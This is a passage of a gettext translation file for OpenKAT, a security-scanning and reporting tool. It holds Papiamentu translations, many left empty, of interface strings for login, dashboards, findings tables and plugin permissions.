OpenKAT. Bo ta risibí e email aki pasobra bo a ser agrega\\n\"\n\"na organisashon \\\"%(organization)s\\\" na %(site_name)s.\"\n\n#: account/templates/registration_subject.txt\n#, python-format\nmsgid \"Verify OpenKAT account on %(site_name)s\"\nmsgstr \"Verifiká kuenta di OpenKAT riba %(site_name)s\"\n\n#: account/validators.py\nmsgid \"\"\n\"Your password must contain at least the following but longer passwords are \"\n\"recommended:\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" characters\"\nmsgstr \" karakternan\"\n\n#: account/validators.py\nmsgid \" digits\"\nmsgstr \" sifranan\"\n\n#: account/validators.py\nmsgid \" letters\"\nmsgstr \" lèternan\"\n\n#: account/validators.py\nmsgid \"\"\n\" special characters such as: {str(validators.get('special_characters',''))}\"\nmsgstr \"\"\n\n#: account/validators.py\nmsgid \" lower case letters\"\nmsgstr \" lèternan chiki\"\n\n#: account/validators.py\nmsgid \" upper case letters\"\nmsgstr \" lèternan kapital\"\n\n#: account/views/login.py\nmsgid \"Your session has timed out. Please login again.\"\nmsgstr \"Bo seshon a tèrminá. Por fabor log in dinobo.\"\n\n#: account/views/login.py rocky/templates/header.html\nmsgid \"OpenKAT\"\nmsgstr \"OpenKAT\"\n\n#: account/views/login.py account/views/password_reset.py\n#: account/views/recover_email.py rocky/templates/partials/secondary-menu.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Login\"\nmsgstr \"Login\"\n\n#: account/views/login.py\nmsgid \"Two factor authentication\"\nmsgstr \"Desaktivá Two-factor Authentication\"\n\n#: account/views/password_reset.py\nmsgid \"We couldn't send a password reset link. Contact \"\nmsgstr \"Nos no por a manda un reset link. Tuma kontakto ku \"\n\n#: account/views/password_reset.py\nmsgid \"\"\n\"We couldn't send a password reset link. Contact your system administrator.\"\nmsgstr \"\"\n\"Nos no por a manda un reset link. Tuma kontakto ku bo administradó di \"\n\"sistema.\"\n\n#: components/modal/template.html\nmsgid \"Close modal\"\nmsgstr \"\"\n\n#: components/modal/template.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\n#: katalogus/templates/change_clearance_level.html\n#: katalogus/templates/confirmation_clone_settings.html\n#: katalogus/templates/plugin_settings_delete.html\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#: rocky/templates/oois/ooi_delete.html\n#: rocky/templates/oois/ooi_mute_finding.html\n#: rocky/templates/organizations/organization_edit.html\n#: rocky/templates/organizations/organization_member_edit.html\n#: rocky/templates/partials/delete_ooi_modal.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/mute_findings_modal.html\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Cancel\"\nmsgstr \"Kanselá\"\n\n#: crisis_room/forms.py\nmsgid \"Title on dashboard\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Dashboard item size\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Full width\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Half width\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"An item with that name already exists. Try a different title.\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"An error occurred while adding dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Number of rows in list\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"List sorting by\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Type (A-Z)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Type (Z-A)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Clearance level (Low-High)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Clearance level (High-Low)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Show table columns\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Severity (Low-High)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Severity (High-Low)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Finding (A-Z)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Finding (Z-A)\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Findings Dashboard\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"\"\n\"Where on the dashboard do you want to show the data? Position {} is the most \"\n\"top level and the max position is {}.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on the general crisis room, for all organizations.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on a single organization dashboard\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on the findings dashboard for all organizations\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Can change position up or down of a dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"You have to choose between a recipe or a query, but not both.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"You have set a query and not where it is from. Also set the source.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"\"\n\"DashboardItem must contain at least a 'recipe' or a 'source' with a 'query'.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Max dashboard items reached.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room.html\n#: crisis_room/templates/organization_crisis_room.html\n#: rocky/templates/header.html\nmsgid \"Crisis room\"\nmsgstr \"Sala di krísis\"\n\n#: crisis_room/templates/crisis_room.html\nmsgid \"Crisis room overview for all organizations.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"Dashboards\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"\"\n\"On this page you can see an overview of the dashboards for all \"\n\"organizations. **More context can be written here**\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"dashboards\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"There are no dashboards to display.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Findings overview\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"\\n\"\n\"                            This overview shows the total number of findings \"\n\"per\\n\"\n\"                            severity that have been identified for all \"\n\"organizations.\\n\"\n\"                            This data is based on the latest Crisis Room \"\n\"Findings Report\\n\"\n\"                            of each organization.\\n\"\n\"                        \"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"Findings per organization\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"This table shows the findings that have been identified for each \"\n\"organization, sorted by the finding types and grouped by organizations. This \"\n\"data is based on the latest Crisis Room Findings Report of each organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"No findings have been identified yet. As soon as they have been identified, \"\n\"they will be shown on this page.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"There are no organizations yet. After creating an organization, the \"\n\"identified findings will be shown here.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/organization_crisis_room_header.html\nmsgid \"Crisis room navigation\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/findings_report/report.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/ooi_report_findings_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/views/finding_list.py rocky/views/finding_type_add.py\n#: rocky/views/ooi_view.py\nmsgid \"Findings\"\nmsgstr \"Diskubrimentu\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Options for dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Show all descriptions\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Hide all descriptions\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\nmsgid \"Delete dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"\"\n\"There are no dashboards yet. Click on \\\"Add dashboard\\\" to create a new \"\n\"dashboard.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Object list\"\nmsgstr \"Lista di opheto\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Finding list\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Report section\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"There are no dashboard items added yet.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"\"\n\"You can add dashboard items via the filters on the objects and findings page \"\n\"or you can add a report section.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add report section\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\nmsgid \"Add dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Findings per organization overview\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/finding_type.py\nmsgid \"Finding types\"\nmsgstr \"Tipo di diskubrimientu\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrences\"\nmsgstr \"Occurencianan\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Highest risk level\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Critical finding types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Details\"\nmsgstr \"Detayes\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Close details\"\nmsgstr \"Sera detayes\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Open details\"\nmsgstr \"Habri detayes\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"\"\n\"This overview shows the total number of findings per severity that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\nmsgid \"Critical and high findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"This table shows the top 25 critical and high findings that have been \"\n\"identified for this organization, grouped by finding types. A table with all \"\n\"the identified findings can be found in the Findings Report.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"No findings have been identified. Check report for more details.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"View findings report\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Edit report recipe\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list.html\n#, python-format\nmsgid \"Showing %(length)s findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list.html\nmsgid \"Go to findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Findings table \"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"column headers with buttons are sortable\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding)s\"\nmsgstr \"Mustra detayes pa %(finding)s\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Tree\"\nmsgstr \"Mapa\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Graph\"\nmsgstr \"Grafa\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html rocky/views/mixins.py\nmsgid \"Severity\"\nmsgstr \"Nivél di severedat\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Finding\"\nmsgstr \"Diskubrimentu\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Finding type\"\nmsgstr \"Tipo di diskubrimentu\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding_type)s\"\nmsgstr \"Mustra detayes pa %(finding_type)s\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"OOI type\"\nmsgstr \"Tipo OOI\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show %(ooi_type)s objects\"\nmsgstr \"Mustra %(ooi_type)s ophetonan\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/views/mixins.py\nmsgid \"Location\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#, python-format\nmsgid \"Show details for %(ooi)s\"\nmsgstr \"Mustra detayes pa %(ooi)s\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Risk score\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/normalizer_detail.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/report_asset_overview.html tools/forms/boefje.py\n#: tools/forms/finding_type.py rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_findings_list.html rocky/templates/scan.html\nmsgid \"Description\"\nmsgstr \"Deklarashon\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Recommendation\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/vulnerability_report/report.py\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail_origins_inference.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Source\"\nmsgstr \"Orígen\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Impact\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Options for dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Show description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Hide description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Position up\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Position down\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Rerun report\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\nmsgid \"Delete item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\n#, python-format\nmsgid \"Showing %(length)s objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\nmsgid \"Go to objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Objects \"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#, python-format\nmsgid \"Are you sure you want to delete '%(name)s' from this dashboard?\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: katalogus/templates/plugin_settings_delete.html\n#: katalogus/views/plugin_settings_delete.py\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/partials/delete_ooi_modal.html rocky/views/ooi_delete.py\nmsgid \"Delete\"\nmsgstr \"Eliminá\"\n\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete dashboard '%(dashboard)s'? All the items on \"\n\"the dashboard will be deleted as well.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Actions for adding dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Add item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: tools/view_helpers.py rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html rocky/views/ooi_add.py rocky/views/ooi_list.py\n#: rocky/views/ooi_view.py rocky/views/upload_csv.py rocky/views/upload_raw.py\nmsgid \"Objects\"\nmsgstr \"Ophetonan\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"Add dashboard item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"\"\n\"To  add a <strong>report section</strong>, go to the history page and open a \"\n\"report. Then go to the section that you want to add to your dashboard and \"\n\"press the options button next to the section name to create a dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"Go to report history\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"    Add %(item_type)s to dashboard\\n\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"Add these %(item_type)s with the selected filters to the dashboard of your \"\n\"choice.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: katalogus/templates/partials/no_enabling_permission_message.html\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"explanation\"\nmsgstr \"explikashon\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"You do not have a custom dashboard yet\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"In order to add these %(item_type)s to a dashboard, you first need to create \"\n\"a dashboard. Please add a dashboard in the crisis room of your organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Add to dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Go to crisis room\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Add report section to dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"\"\n\"In order to add this report section to a dashboard, you first need to create \"\n\"a dashboard. Please create a dashboard in the crisis room of your \"\n\"organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Report must be scheduled for dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"\"\n\"In order for dashboard information to be updated on a regular basis instead \"\n\"of showing static data, the report should be scheduled. The frequency of the \"\n\"schedules recurrence determines how fresh the data on the dashboard will be.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Applied filters\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Object types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: katalogus/templates/change_clearance_level.html onboarding/forms.py\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/boefje.py\n#: tools/forms/ooi.py rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html rocky/views/mixins.py\nmsgid \"Clearance level\"\nmsgstr \"Nivél di autorisashon\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/views/mixins.py\nmsgid \"Clearance type\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Input objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Show all objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_types_selection.html\nmsgid \"No filters applied\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_section_action_button.html\nmsgid \"Add section to dashboard\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"\"\n\"The KATalogus has an unexpected error. Check the logs for further details.\"\nmsgstr \"\"\n\n#: katalogus/client.py\n#, python-format\nmsgid \"An HTTP %d error occurred. Check logs for more info.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"An HTTP error occurred. Check logs for more info.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this name already exists.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this ID already exists.\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"Access to resource not allowed\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to see plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to set plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to delete plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to view plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to access the other organization\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to enable plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to disable plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to create plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to edit plugins\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Show all\"\nmsgstr \"Mustra tur\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: 